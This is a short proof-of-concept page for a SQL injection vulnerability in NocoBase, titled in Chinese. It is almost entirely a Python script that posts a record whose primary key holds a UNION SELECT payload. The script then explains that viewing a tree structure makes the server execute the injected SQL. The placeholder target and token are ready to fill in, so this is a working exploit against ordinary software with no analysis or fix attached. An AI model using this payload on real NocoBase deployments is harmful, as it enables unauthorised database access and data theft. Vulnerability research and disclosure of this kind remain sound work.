CVE-2026-41640 NocoBase SQL注入漏洞

# PoC for CVE-2026-41640: NocoBase SQL Injection via Malicious Primary Key # This script demonstrates creating a record with a malicious PK to trigger SQL injection. import requests TARGET_URL = "http://target-nocobase/api/collection_name" # Payload designed to break out of the string concatenation in queryParentSQL MALICIOUS_PK = "1' UNION SELECT user(),version()-- " headers = { "Authorization": "Bearer <TOKEN>", "Content-Type": "application/json" } # Step 1: Create a record with the malicious string as the primary key payload = { "id": MALICIOUS_PK, # Injection point "title": "Malicious Record" } response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Malicious record created successfully.") print("[*] Triggering recursive eager loading (e.g., viewing a tree structure) will execute the payload.") else: print("[-] Failed to create record.")